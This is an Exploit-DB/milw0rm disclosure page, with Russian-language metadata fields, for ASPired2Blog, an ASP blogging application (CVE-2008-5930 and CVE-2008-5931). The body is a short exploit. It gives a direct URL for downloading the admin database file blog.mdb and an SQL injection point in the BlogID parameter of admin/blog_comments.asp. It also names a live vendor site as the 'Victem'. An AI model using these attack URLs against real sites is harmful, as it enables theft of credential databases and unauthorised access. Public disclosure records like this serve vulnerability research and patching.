Exploit the net guys aspired2blog - SQL Injection / File Disclosure

[Exploiter]

EDB-ID

7436

Проверка EDB

1. Пройдено

Автор

POUYA_SERVER

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

cve-2008-5931 cve-2008-5930

Дата публикации

2008-12-12

#########################################################
---------------------------------------------------------
Portal Name: ASPIred2Blog
Vendor : http://thenetguys.us/Home/Blog.asp
Author : Pouya_Server , [email protected]
Vulnerability : (SQL,DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/admin/blog.mdb
 
[SQL]:
http://site.com/[Path]/admin/blog_comments.asp?BlogID='[SQL]
 
---------------------------------
Victem :
http://thenetguys.us/ASPired2/Blog/index.asp

# milw0rm.com [2008-12-12]